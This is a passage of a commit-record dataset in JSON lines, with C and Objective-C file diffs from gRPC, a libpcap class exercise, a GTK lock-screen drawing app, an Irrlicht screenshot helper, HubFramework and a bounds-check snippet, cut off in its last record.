{"commit":"889d50ff21e47e3c33ea4ab7178a9680ac49f520","old_file":"vsprojects\/dummy.c","new_file":"vsprojects\/dummy.c","old_contents":"\/*\n *\n * Copyright 2015, Google Inc.\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are\n * met:\n *\n *     * Redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer.\n *     * Redistributions in binary form must reproduce the above\n * copyright notice, this list of conditions and the following disclaimer\n * in the documentation and\/or other materials provided with the\n * distribution.\n *     * Neither the name of Google Inc. nor the names of its\n * contributors may be used to endorse or promote products derived from\n * this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n * \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\n *\/\n ","new_contents":"\/*\n *\n * Copyright 2015, Google Inc.\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are\n * met:\n *\n *     * Redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer.\n *     * Redistributions in binary form must reproduce the above\n * copyright notice, this list of conditions and the following disclaimer\n * in the documentation and\/or other materials provided with the\n * distribution.\n *     * Neither the name of Google Inc. nor the names of its\n * contributors may be used to endorse or promote products derived from\n * this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n * \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\n *\/\n\n","subject":"Fix newline at end of file","message":"Fix newline at end of file\n","lang":"C","license":"bsd-3-clause","repos":"grani\/grpc,a11r\/grpc,nicolasnoble\/grpc,thunderboltsid\/grpc,ppietrasa\/grpc,kumaralokgithub\/grpc,adelez\/grpc,apolcyn\/grpc,greasypizza\/grpc,carl-mastrangelo\/grpc,donnadionne\/grpc,sreecha\/grpc,infinit\/grpc,jboeuf\/grpc,miselin\/grpc,jboeuf\/grpc,vsco\/grpc,msiedlarek\/grpc,jboeuf\/grpc,apolcyn\/grpc,murgatroid99\/grpc,makdharma\/grpc,zhimingxie\/grpc,a-veitch\/grpc,malexzx\/grpc,stanley-cheung\/grpc,geffzhang\/grpc,pmarks-net\/grpc,dgquintas\/grpc,tengyifei\/grpc,thinkerou\/grpc,thunderboltsid\/grpc,murgatroid99\/grpc,muxi\/grpc,7anner\/grpc,geffzhang\/grpc,deepaklukose\/grpc,Crevil\/grpc,matt-kwong\/grpc,yongni\/grpc,wcevans\/grpc,tamihiro\/grpc,yang-g\/grpc,baylabs\/grpc,grani\/grpc,kumaralokgithub\/grpc,a-veitch\/grpc,goldenbull\/grpc,Vizerai\/grpc,philcleveland\/grpc,carl-mastrangelo\/grpc,carl-mastrangelo\/grpc,PeterFaiman\/ruby-grpc-minimal,ipylypiv\/grpc,zhimingxie\/grpc,7anner\/grpc,dklempner\/grpc,donnadionne\/grpc,ipylypiv\/grpc,chrisdunelm\/grpc,stanley-cheung\/grpc,philcleveland\/grpc,yang-g\/grpc,malexzx\/grpc,LuminateWireless\/grpc,baylabs\/grpc,andrewpollock\/grpc,zhimingxie\/grpc,jtattermusch\/grpc,perumaalgoog\/grpc,LuminateWireless\/grpc,a11r\/grpc,geffzhang\/grpc,daniel-j-born\/grpc,soltanmm\/grpc,apolcyn\/grpc,carl-mastrangelo\/grpc,Crevil\/grpc,jtattermusch\/grpc,pmarks-net\/grpc,ejona86\/grpc,muxi\/grpc,daniel-j-born\/grpc,apolcyn\/grpc,y-zeng\/grpc,carl-mastrangelo\/grpc,stanley-cheung\/grpc,baylabs\/grpc,jtattermusch\/grpc,murgatroid99\/grpc,bogdandrutu\/grpc,sreecha\/grpc,zhimingxie\/grpc,thinkerou\/grpc,ipylypiv\/grpc,ipylypiv\/grpc,rjshade\/grpc,muxi\/grpc,adelez\/grpc,carl-mastrangelo\/grpc,malexzx\/grpc,grani\/grpc,mehrdada\/grpc,nicolasnoble\/grpc,LuminateWireless\/grpc,chrisdunelm\/grpc,arkmaxim\/grpc,VcamX\/grpc,wcevans\/grpc,miselin\/grpc,hstefan\/grpc,donnadionne\/grpc,geffzhang\/grpc,miselin\/grpc,perumaalgoog\/grpc,goldenbull\/grpc,fuchsia-mirror\/third_party-grpc,infinit\/grpc,firebase\/grpc,yongni\/grpc,apolcyn\/grpc,7anner\/grpc,dgquintas\/grpc,podsvirov\/grpc,perumaalgoog\/grpc,chrisdunelm\/grpc,adelez\/grpc,leifurhauks\/grpc,philcleveland\/grpc,arkmaxim\/grpc,kskalski\/grpc,philcleveland\/grpc,muxi\/grpc,MakMukhi\/grpc,LuminateWireless\/grpc,PeterFaiman\/ruby-grpc-minimal,vsco\/grpc,jboeuf\/grpc,nicolasnoble\/grpc,kumaralokgithub\/grpc,Crevil\/grpc,kriswuollett\/grpc,yugui\/grpc,bogdandrutu\/grpc,jboeuf\/grpc,soltanmm\/grpc,kskalski\/grpc,zhimingxie\/grpc,PeterFaiman\/ruby-grpc-minimal,rjshade\/grpc,a11r\/grpc,greasypizza\/grpc,philcleveland\/grpc,infinit\/grpc,msiedlarek\/grpc,chrisdunelm\/grpc,pszemus\/grpc,y-zeng\/grpc,kskalski\/grpc,kskalski\/grpc,VcamX\/grpc,Vizerai\/grpc,chrisdunelm\/grpc,stanley-cheung\/grpc,dgquintas\/grpc,7anner\/grpc,jtattermusch\/grpc,chrisdunelm\/grpc,MakMukhi\/grpc,kpayson64\/grpc,sreecha\/grpc,kumaralokgithub\/grpc,geffzhang\/grpc,vjpai\/grpc,simonkuang\/grpc,kpayson64\/grpc,tengyifei\/grpc,yongni\/grpc,ppietrasa\/grpc,LuminateWireless\/grpc,tamihiro\/grpc,dklempner\/grpc,ctiller\/grpc,jtattermusch\/grpc,greasypizza\/grpc,miselin\/grpc,kskalski\/grpc,andrewpollock\/grpc,ppietrasa\/grpc,sreecha\/grpc,zhimingxie\/grpc,tamihiro\/grpc,firebase\/grpc,tengyifei\/grpc,firebase\/grpc,wcevans\/grpc,soltanmm\/grpc,hstefan\/grpc,grpc\/grpc,muxi\/grpc,kumaralokgithub\/grpc,rjshade\/grpc,leifurhauks\/grpc,tamihiro\/grpc,soltanmm-google\/grpc,jtattermusch\/grpc,msiedlarek\/grpc,yongni\/grpc,kriswuollett\/grpc,soltanmm-google\/grpc,murgatroid99\/grpc,soltanmm-google\/grpc,rjshade\/grpc,yang-g\/grpc,msmania\/grpc,grpc\/grpc,ananthonline\/grpc,fuchsia-mirror\/third_party-grpc,quizlet\/grpc,Vizerai\/grpc,a-veitch\/grpc,dgquintas\/grpc,thinkerou\/grpc,kriswuollett\/grpc,greasypizza\/grpc,Vizerai\/grpc,soltanmm-google\/grpc,ejona86\/grpc,quizlet\/grpc,stanley-cheung\/grpc,kpayson64\/grpc,makdharma\/grpc,hstefan\/grpc,jcanizales\/grpc,podsvirov\/grpc,donnadionne\/grpc,zhimingxie\/grpc,matt-kwong\/grpc,leifurhauks\/grpc,makdharma\/grpc,jboeuf\/grpc,bogdandrutu\/grpc,firebase\/grpc,pmarks-net\/grpc,PeterFaiman\/ruby-grpc-minimal,matt-kwong\/grpc,msiedlarek\/grpc,ejona86\/grpc,stanley-cheung\/grpc,yang-g\/grpc,quizlet\/grpc,philcleveland\/grpc,Crevil\/grpc,a11r\/grpc,hstefan\/grpc,PeterFaiman\/ruby-grpc-minimal,kumaralokgithub\/grpc,goldenbull\/grpc,adelez\/grpc,royalharsh\/grpc,vsco\/grpc,greasypizza\/grpc,podsvirov\/grpc,daniel-j-born\/grpc,tengyifei\/grpc,podsvirov\/grpc,pszemus\/grpc,adelez\/grpc,pszemus\/grpc,yang-g\/grpc,carl-mastrangelo\/grpc,thinkerou\/grpc,thunderboltsid\/grpc,ejona86\/grpc,a-veitch\/grpc,carl-mastrangelo\/grpc,infinit\/grpc,pszemus\/grpc,7anner\/grpc,ctiller\/grpc,wcevans\/grpc,ncteisen\/grpc,ncteisen\/grpc,grpc\/grpc,ipylypiv\/grpc,grani\/grpc,soltanmm-google\/grpc,ejona86\/grpc,vjpai\/grpc,ctiller\/grpc,murgatroid99\/grpc,mehrdada\/grpc,royalharsh\/grpc,matt-kwong\/grpc,bogdandrutu\/grpc,mehrdada\/grpc,dklempner\/grpc,quizlet\/grpc,ananthonline\/grpc,arkmaxim\/grpc,thunderboltsid\/grpc,ncteisen\/grpc,wcevans\/grpc,murgatroid99\/grpc,geffzhang\/grpc,thinkerou\/grpc,a-veitch\/grpc,daniel-j-born\/grpc,matt-kwong\/grpc,msmania\/grpc,MakMukhi\/grpc,simonkuang\/grpc,firebase\/grpc,dgquintas\/grpc,thinkerou\/grpc,philcleveland\/grpc,andrewpollock\/grpc,donnadionne\/grpc,muxi\/grpc,quizlet\/grpc,baylabs\/grpc,a11r\/grpc,wcevans\/grpc,goldenbull\/grpc,VcamX\/grpc,stanley-cheung\/grpc,Vizerai\/grpc,royalharsh\/grpc,makdharma\/grpc,ejona86\/grpc,malexzx\/grpc,apolcyn\/grpc,jboeuf\/grpc,vjpai\/grpc,greasypizza\/grpc,soltanmm\/grpc,grani\/grpc,ananthonline\/grpc,carl-mastrangelo\/grpc,grpc\/grpc,kpayson64\/grpc,goldenbull\/grpc,muxi\/grpc,jtattermusch\/grpc,MakMukhi\/grpc,dklempner\/grpc,LuminateWireless\/grpc,sreecha\/grpc,yongni\/grpc,pmarks-net\/grpc,msmania\/grpc,grpc\/grpc,kpayson64\/grpc,infinit\/grpc,kriswuollett\/grpc,firebase\/grpc,rjshade\/grpc,stanley-cheung\/grpc,royalharsh\/grpc,Vizerai\/grpc,tamihiro\/grpc,pszemus\/grpc,MakMukhi\/grpc,daniel-j-born\/grpc,yang-g\/grpc,bogdandrutu\/grpc,daniel-j-born\/grpc,hstefan\/grpc,perumaalgoog\/grpc,MakMukhi\/grpc,a-veitch\/grpc,kriswuollett\/grpc,andrewpollock\/grpc,7anner\/grpc,thinkerou\/grpc,a-veitch\/grpc,pmarks-net\/grpc,Crevil\/grpc,kskalski\/grpc,vjpai\/grpc,nicolasnoble\/grpc,deepaklukose\/grpc,jcanizales\/grpc,a-veitch\/grpc,vjpai\/grpc,kskalski\/grpc,makdharma\/grpc,PeterFaiman\/ruby-grpc-minimal,pmarks-net\/grpc,makdharma\/grpc,pszemus\/grpc,goldenbull\/grpc,rjshade\/grpc,ppietrasa\/grpc,donnadionne\/grpc,kumaralokgithub\/grpc,yugui\/grpc,perumaalgoog\/grpc,greasypizza\/grpc,matt-kwong\/grpc,stanley-cheung\/grpc,leifurhauks\/grpc,msmania\/grpc,thinkerou\/grpc,VcamX\/grpc,stanley-cheung\/grpc,perumaalgoog\/grpc,jcanizales\/grpc,bogdandrutu\/grpc,mehrdada\/grpc,y-zeng\/grpc,ananthonline\/grpc,arkmaxim\/grpc,carl-mastrangelo\/grpc,simonkuang\/grpc,muxi\/grpc,grpc\/grpc,yang-g\/grpc,wcevans\/grpc,thunderboltsid\/grpc,tengyifei\/grpc,miselin\/grpc,pmarks-net\/grpc,makdharma\/grpc,Crevil\/grpc,vjpai\/grpc,thinkerou\/grpc,sreecha\/grpc,dgquintas\/grpc,nicolasnoble\/grpc,jcanizales\/grpc,jcanizales\/grpc,MakMukhi\/grpc,jcanizales\/grpc,yugui\/grpc,wcevans\/grpc,perumaalgoog\/grpc,jboeuf\/grpc,y-zeng\/grpc,jboeuf\/grpc,miselin\/grpc,murgatroid99\/grpc,nicolasnoble\/grpc,simonkuang\/grpc,malexzx\/grpc,hstefan\/grpc,fuchsia-mirror\/third_party-grpc,kriswuollett\/grpc,ctiller\/grpc,andrewpollock\/grpc,kumaralokgithub\/grpc,pszemus\/grpc,jtattermusch\/grpc,mehrdada\/grpc,fuchsia-mirror\/third_party-grpc,Crevil\/grpc,podsvirov\/grpc,pszemus\/grpc,donnadionne\/grpc,tengyifei\/grpc,podsvirov\/grpc,miselin\/grpc,PeterFaiman\/ruby-grpc-minimal,grpc\/grpc,nicolasnoble\/grpc,ctiller\/grpc,mehrdada\/grpc,makdharma\/grpc,leifurhauks\/grpc,geffzhang\/grpc,ananthonline\/grpc,firebase\/grpc,vjpai\/grpc,podsvirov\/grpc,deepaklukose\/grpc,LuminateWireless\/grpc,yugui\/grpc,baylabs\/grpc,dgquintas\/grpc,fuchsia-mirror\/third_party-grpc,royalharsh\/grpc,dgquintas\/grpc,arkmaxim\/grpc,vjpai\/grpc,ejona86\/grpc,podsvirov\/grpc,rjshade\/grpc,MakMukhi\/grpc,malexzx\/grpc,ejona86\/grpc,chrisdunelm\/grpc,carl-mastrangelo\/grpc,mehrdada\/grpc,chrisdunelm\/grpc,infinit\/grpc,mehrdada\/grpc,kriswuollett\/grpc,arkmaxim\/grpc,donnadionne\/grpc,dklempner\/grpc,msmania\/grpc,VcamX\/grpc,vsco\/grpc,matt-kwong\/grpc,7anner\/grpc,msmania\/grpc,ctiller\/grpc,apolcyn\/grpc,wcevans\/grpc,murgatroid99\/grpc,kriswuollett\/grpc,vjpai\/grpc,miselin\/grpc,vsco\/grpc,Crevil\/grpc,ananthonline\/grpc,apolcyn\/grpc,yugui\/grpc,soltanmm\/grpc,fuchsia-mirror\/third_party-grpc,kskalski\/grpc,grpc\/grpc,ncteisen\/grpc,ctiller\/grpc,quizlet\/grpc,pszemus\/grpc,pszemus\/grpc,VcamX\/grpc,matt-kwong\/grpc,7anner\/grpc,vsco\/grpc,infinit\/grpc,a11r\/grpc,mehrdada\/grpc,msiedlarek\/grpc,thinkerou\/grpc,pszemus\/grpc,muxi\/grpc,a11r\/grpc,grpc\/grpc,PeterFaiman\/ruby-grpc-minimal,stanley-cheung\/grpc,rjshade\/grpc,yongni\/grpc,tamihiro\/grpc,murgatroid99\/grpc,LuminateWireless\/grpc,Vizerai\/grpc,bogdandrutu\/grpc,thunderboltsid\/grpc,adelez\/grpc,ejona86\/grpc,leifurhauks\/grpc,dgquintas\/grpc,dklempner\/grpc,yang-g\/grpc,pmarks-net\/grpc,andrewpollock\/grpc,ananthonline\/grpc,kpayson64\/grpc,yugui\/grpc,andrewpollock\/grpc,tengyifei\/grpc,jtattermusch\/grpc,nicolasnoble\/grpc,soltanmm-google\/grpc,jboeuf\/grpc,ananthonline\/grpc,soltanmm\/grpc,LuminateWireless\/grpc,ncteisen\/grpc,sreecha\/grpc,makdharma\/grpc,quizlet\/grpc,baylabs\/grpc,royalharsh\/grpc,tengyifei\/grpc,dklempner\/grpc,thinkerou\/grpc,donnadionne\/grpc,Vizerai\/grpc,nicolasnoble\/grpc,vsco\/grpc,tengyifei\/grpc,leifurhauks\/grpc,sreecha\/grpc,soltanmm\/grpc,grani\/grpc,adelez\/grpc,PeterFaiman\/ruby-grpc-minimal,simonkuang\/grpc,philcleveland\/grpc,donnadionne\/grpc,jboeuf\/grpc,ncteisen\/grpc,ctiller\/grpc,ananthonline\/grpc,Vizerai\/grpc,y-zeng\/grpc,vsco\/grpc,baylabs\/grpc,sreecha\/grpc,adelez\/grpc,perumaalgoog\/grpc,geffzhang\/grpc,grpc\/grpc,ejona86\/grpc,pmarks-net\/grpc,simonkuang\/grpc,y-zeng\/grpc,zhimingxie\/grpc,y-zeng\/grpc,a-veitch\/grpc,firebase\/grpc,ppietrasa\/grpc,infinit\/grpc,soltanmm-google\/grpc,a11r\/grpc,podsvirov\/grpc,philcleveland\/grpc,leifurhauks\/grpc,arkmaxim\/grpc,carl-mastrangelo\/grpc,ejona86\/grpc,yugui\/grpc,jcanizales\/grpc,quizlet\/grpc,PeterFaiman\/ruby-grpc-minimal,donnadionne\/grpc,jcanizales\/grpc,yugui\/grpc,ctiller\/grpc,bogdandrutu\/grpc,kpayson64\/grpc,andrewpollock\/grpc,chrisdunelm\/grpc,infinit\/grpc,ncteisen\/grpc,msiedlarek\/grpc,deepaklukose\/grpc,7anner\/grpc,malexzx\/grpc,VcamX\/grpc,firebase\/grpc,yongni\/grpc,ncteisen\/grpc,y-zeng\/grpc,nicolasnoble\/grpc,dklempner\/grpc,kpayson64\/grpc,mehrdada\/grpc,msiedlarek\/grpc,dgquintas\/grpc,ipylypiv\/grpc,sreecha\/grpc,grpc\/grpc,kriswuollett\/grpc,sreecha\/grpc,ncteisen\/grpc,ncteisen\/grpc,VcamX\/grpc,daniel-j-born\/grpc,malexzx\/grpc,perumaalgoog\/grpc,kskalski\/grpc,ctiller\/grpc,jcanizales\/grpc,thunderboltsid\/grpc,sreecha\/grpc,kpayson64\/grpc,nicolasnoble\/grpc,royalharsh\/grpc,hstefan\/grpc,tamihiro\/grpc,msiedlarek\/grpc,dklempner\/grpc,Crevil\/grpc,ctiller\/grpc,soltanmm\/grpc,jtattermusch\/grpc,mehrdada\/grpc,rjshade\/grpc,chrisdunelm\/grpc,arkmaxim\/grpc,soltanmm\/grpc,soltanmm-google\/grpc,kumaralokgithub\/grpc,vjpai\/grpc,zhimingxie\/grpc,andrewpollock\/grpc,quizlet\/grpc,thunderboltsid\/grpc,leifurhauks\/grpc,yang-g\/grpc,simonkuang\/grpc,matt-kwong\/grpc,goldenbull\/grpc,kpayson64\/grpc,nicolasnoble\/grpc,pszemus\/grpc,jtattermusch\/grpc,muxi\/grpc,msmania\/grpc,simonkuang\/grpc,fuchsia-mirror\/third_party-grpc,royalharsh\/grpc,deepaklukose\/grpc,muxi\/grpc,goldenbull\/grpc,fuchsia-mirror\/third_party-grpc,chrisdunelm\/grpc,hstefan\/grpc,deepaklukose\/grpc,yongni\/grpc,grani\/grpc,greasypizza\/grpc,arkmaxim\/grpc,thunderboltsid\/grpc,dgquintas\/grpc,vsco\/grpc,goldenbull\/grpc,ncteisen\/grpc,grani\/grpc,firebase\/grpc,deepaklukose\/grpc,ppietrasa\/grpc,soltanmm-google\/grpc,firebase\/grpc,ipylypiv\/grpc,vjpai\/grpc,Vizerai\/grpc,firebase\/grpc,baylabs\/grpc,kpayson64\/grpc,tamihiro\/grpc,muxi\/grpc,yugui\/grpc,bogdandrutu\/grpc,stanley-cheung\/grpc,ppietrasa\/grpc,greasypizza\/grpc,VcamX\/grpc,deepaklukose\/grpc,Vizerai\/grpc,royalharsh\/grpc,msiedlarek\/grpc,jtattermusch\/grpc,fuchsia-mirror\/third_party-grpc,msmania\/grpc,donnadionne\/grpc,ipylypiv\/grpc,ctiller\/grpc,fuchsia-mirror\/third_party-grpc,thinkerou\/grpc,deepaklukose\/grpc,malexzx\/grpc,y-zeng\/grpc,tamihiro\/grpc,ppietrasa\/grpc,ejona86\/grpc,a11r\/grpc,hstefan\/grpc,ipylypiv\/grpc,baylabs\/grpc,apolcyn\/grpc,jboeuf\/grpc,yongni\/grpc,vjpai\/grpc,murgatroid99\/grpc,grpc\/grpc,mehrdada\/grpc,MakMukhi\/grpc,daniel-j-born\/grpc,grani\/grpc,geffzhang\/grpc,msmania\/grpc,ppietrasa\/grpc,miselin\/grpc,simonkuang\/grpc,daniel-j-born\/grpc,ncteisen\/grpc,adelez\/grpc"}
{"commit":"08e75e4b73c4daf9bad51b821b7ce824cd9bd6f4","old_file":"proj2\/peter.c","new_file":"proj2\/peter.c","old_contents":"","new_contents":"#include <stdio.h>\n#include <stdlib.h>\n#include <pcap.h>\n\nint main()\n{\n\tstruct pcap_if *found_devices;\n\tchar errbuf[PCAP_ERRBUF_SIZE];\n\tint success = 0;\n\n\tsuccess = pcap_findalldevs(&found_devices, errbuf);\n\n\tif( success < 0 )\n\t{\n\t\tprintf(\"something went wrong. can't open device\\n\");\n\t}\n\n\tif( found_devices != NULL )\n\t{\n\t\twhile( found_devices != NULL )\n\t\t{\n\t\t\tprintf(\"%s\\n\", found_devices->name);\n\n\t\t\tfound_devices = found_devices->next;\n\t\t}\n\t}\n\treturn 0;\n}\n","subject":"Add code provided in class","message":"Add code provided in class\n\nIt's very similar to p1a, but being added here for posterity.\n","lang":"C","license":"bsd-3-clause","repos":"sjbarag\/ECE-C433,sjbarag\/ECE-C433,sjbarag\/ECE-C433"}
{"commit":"363f031f11c3b704a77e65535915297fdcf3d669","old_file":"src\/fake-lock-screen-pattern.h","new_file":"src\/fake-lock-screen-pattern.h","old_contents":"#ifndef _FAKE_LOCK_SCREEN_PATTERN_H_\n#define _FAKE_LOCK_SCREEN_PATTERN_H_\n\n#include <gtk\/gtk.h>\n\n#if !GTK_CHECK_VERSION(3, 0, 0)\ntypedef struct {\n  gdouble red;\n  gdouble green;\n  gdouble blue;\n  gdouble alpha;\n} GdkRGBA;\n#endif\n\n#endif\n","new_contents":"#ifndef _FAKE_LOCK_SCREEN_PATTERN_H_\n#define _FAKE_LOCK_SCREEN_PATTERN_H_\n\n#include <gtk\/gtk.h>\n\n#if !GTK_CHECK_VERSION(3, 0, 0)\ntypedef struct {\n  gdouble red;\n  gdouble green;\n  gdouble blue;\n  gdouble alpha;\n} GdkRGBA;\n#endif\n\nvoid flsp_draw_circle(cairo_t *context,\n                      gint x, gint y, gint radius,\n                      GdkRGBA circle, GdkRGBA border);\n\n#endif\n","subject":"Add function to draw primitive circle","message":"Add function to draw primitive circle\n","lang":"C","license":"mit","repos":"kenhys\/fake-lock-screen-pattern,kenhys\/fake-lock-screen-pattern"}
{"commit":"e8b3bd4906995c5762395384faa594df2d812fa1","old_file":"ext\/ScreenShot\/ScreenShot.h","new_file":"ext\/ScreenShot\/ScreenShot.h","old_contents":"","new_contents":"#ifndef _IRR_EXT_SCREEN_SHOT_INCLUDED_\n#define _IRR_EXT_SCREEN_SHOT_INCLUDED_\n\n#include \"irrlicht.h\"\n\n#include \"..\/source\/Irrlicht\/COpenGLBuffer.h\"\n#include \"..\/source\/Irrlicht\/COpenGLExtensionHandler.h\"\n\nnamespace irr\n{\nnamespace ext\n{\nnamespace ScreenShot\n{\n\nvideo::IDriverFence* createScreenShot(video::IDriver* driver, video::ITexture* source, video::IGPUBuffer* destination, uint32_t sourceMipLevel=0u, size_t destOffset=0ull, bool implicitflush=true)\n{\n\t\/\/ will change this, https:\/\/github.com\/buildaworldnet\/IrrlichtBAW\/issues\/148\n\tif (isBlockCompressionFormat(source->getColorFormat()))\n\t\treturn nullptr;\n\n\tauto gltex = dynamic_cast<video::COpenGLTexture*>(source);\n\tGLenum colorformat=GL_INVALID_ENUM, type=GL_INVALID_ENUM;\n\tvideo::COpenGLTexture::getOpenGLFormatAndParametersFromColorFormat(source->getColorFormat(),colorformat,type);\n\n\tvideo::COpenGLExtensionHandler::extGlBindBuffer(GL_PIXEL_PACK_BUFFER, static_cast<video::COpenGLBuffer*>(destination)->getOpenGLName());\n\tvideo::COpenGLExtensionHandler::extGlGetTextureImage(\tgltex->getOpenGLName(),gltex->getOpenGLTextureType(),sourceMipLevel,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tcolorformat,type,source->getPitch()*source->getSize()[1],reinterpret_cast<void*>(destOffset));\n\tvideo::COpenGLExtensionHandler::extGlBindBuffer(GL_PIXEL_PACK_BUFFER, 0);\n\n\treturn driver->placeFence(implicitflush);\n}\n\n} \/\/ namespace ScreenShot\n} \/\/ namespace ext\n} \/\/ namespace irr\n\n#endif \/\/ _IRR_EXT_SCREEN_SHOT_INCLUDED_\n","subject":"Add a screenshot by texture download (not from framebuffer)","message":"Add a screenshot by texture download (not from framebuffer)\n","lang":"C","license":"apache-2.0","repos":"buildaworldnet\/IrrlichtBAW,buildaworldnet\/IrrlichtBAW,buildaworldnet\/IrrlichtBAW"}
{"commit":"855bb402a5e8492e2ffdee1d5c402f23bfe53687","old_file":"include\/HubFramework\/HubFramework.h","new_file":"include\/HubFramework\/HubFramework.h","old_contents":"\/\/\/ Umbrella header for the Hub Framework\n\n#import \"HUBManager.h\"\n#import \"HUBConnectivityStateResolver.h\"\n\n\/\/ JSON\n#import \"HUBJSONSchema.h\"\n#import \"HUBViewModelJSONSchema.h\"\n#import \"HUBComponentModelJSONSchema.h\"\n#import \"HUBComponentImageDataJSONSchema.h\"\n#import \"HUBJSONSchemaRegistry.h\"\n#import \"HUBJSONPath.h\"\n#import \"HUBMutableJSONPath.h\"\n\n\/\/ Feature\n#import \"HUBFeatureConfiguration.h\"\n#import \"HUBFeatureRegistry.h\"\n\n\/\/ Content\n#import \"HUBContentProviderFactory.h\"\n#import \"HUBRemoteContentProvider.h\"\n#import \"HUBLocalContentProvider.h\"\n\n\/\/ View\n#import \"HUBViewModel.h\"\n#import \"HUBViewModelLoader.h\"\n#import \"HUBViewModelLoaderFactory.h\"\n#import \"HUBViewModelBuilder.h\"\n#import \"HUBViewURIQualifier.h\"\n#import \"HUBViewControllerFactory.h\"\n\n\/\/ Components\n#import \"HUBComponent.h\"\n#import \"HUBComponentFactory.h\"\n#import \"HUBComponentIdentifier.h\"\n#import \"HUBComponentModel.h\"\n#import \"HUBComponentModelBuilder.h\"\n#import \"HUBComponentImageData.h\"\n#import \"HUBComponentImageDataBuilder.h\"\n#import \"HUBComponentRegistry.h\"\n","new_contents":"\/\/\/ Umbrella header for the Hub Framework\n\n#import \"HUBManager.h\"\n#import \"HUBConnectivityStateResolver.h\"\n\n\/\/ JSON\n#import \"HUBJSONSchema.h\"\n#import \"HUBViewModelJSONSchema.h\"\n#import \"HUBComponentModelJSONSchema.h\"\n#import \"HUBComponentImageDataJSONSchema.h\"\n#import \"HUBJSONSchemaRegistry.h\"\n#import \"HUBJSONPath.h\"\n#import \"HUBMutableJSONPath.h\"\n\n\/\/ Feature\n#import \"HUBFeatureConfiguration.h\"\n#import \"HUBFeatureRegistry.h\"\n\n\/\/ Content\n#import \"HUBContentProviderFactory.h\"\n#import \"HUBRemoteContentProvider.h\"\n#import \"HUBLocalContentProvider.h\"\n\n\/\/ View\n#import \"HUBViewModel.h\"\n#import \"HUBViewModelLoader.h\"\n#import \"HUBViewModelLoaderFactory.h\"\n#import \"HUBViewModelBuilder.h\"\n#import \"HUBViewURIQualifier.h\"\n#import \"HUBViewControllerFactory.h\"\n\n\/\/ Components\n#import \"HUBComponent.h\"\n#import \"HUBComponentFactory.h\"\n#import \"HUBComponentModel.h\"\n#import \"HUBComponentModelBuilder.h\"\n#import \"HUBComponentImageData.h\"\n#import \"HUBComponentImageDataBuilder.h\"\n#import \"HUBComponentRegistry.h\"\n","subject":"Remove `HUBComponentIdentifier` import from umbrella header","message":"Remove `HUBComponentIdentifier` import from umbrella header","lang":"C","license":"apache-2.0","repos":"spotify\/HubFramework,spotify\/HubFramework,spotify\/HubFramework,spotify\/HubFramework"}
{"commit":"3730accd147663026f892a707166c0c001cabed0","old_file":"snippets\/TMAX.c","new_file":"snippets\/TMAX.c","old_contents":"#! \/usr\/bin\/tcc -run\n\n\/\/ demonstate testmin testmax consistency with malloc\n\n#include <string.h>  \/\/ memcpy\n#include <stdio.h>   \/\/ printf\n#include <stdlib.h>  \/\/ malloc\n#include <assert.h>  \/\/ assert\n\ntypedef struct {ssize_t size; char *row; int count;} slot;\n\n    slot line; \n    slot *text;\n\nint main(void)\n{\n leng = 10; int numb;\n text = malloc(leng*sizeof(slot)); \n\n int textmax = (int) (text + leng - 1);\n int textmin = (int) (text + 0);\n\n line.row = NULL;\n line.size = 0;\n\n int i; for(i = 0; i < leng+1; i++)     \/\/deliberate overrun\n   {\n     printf(\"%d  text = %p\\n\",i,text+i);\n     numb = (int) (text+i);\n     printf(\"%d  numb = %x\\n\",i,numb);\n     assert(textmin <= numb); assert(textmax >= numb);\n     *(text+i) = line;\n   } \n\n printf(\"test run ending\\n\");\n return 0;\n}\n","new_contents":"#! \/usr\/bin\/tcc -run\n\n#include <string.h>  \/\/ memcpy\n#include <stdio.h>   \/\/ printf\n#include <stdlib.h>  \/\/ malloc\n#include <assert.h>  \/\/ assert\n\n#define textbound   texndx = (int) (text + iy);          \\\n                    assert(textmin <= texndx);           \\\n                    assert(textmax >= texndx);           \n\ntypedef struct {ssize_t size; char *row; int count;} slot;\n\n    slot line; \n    slot 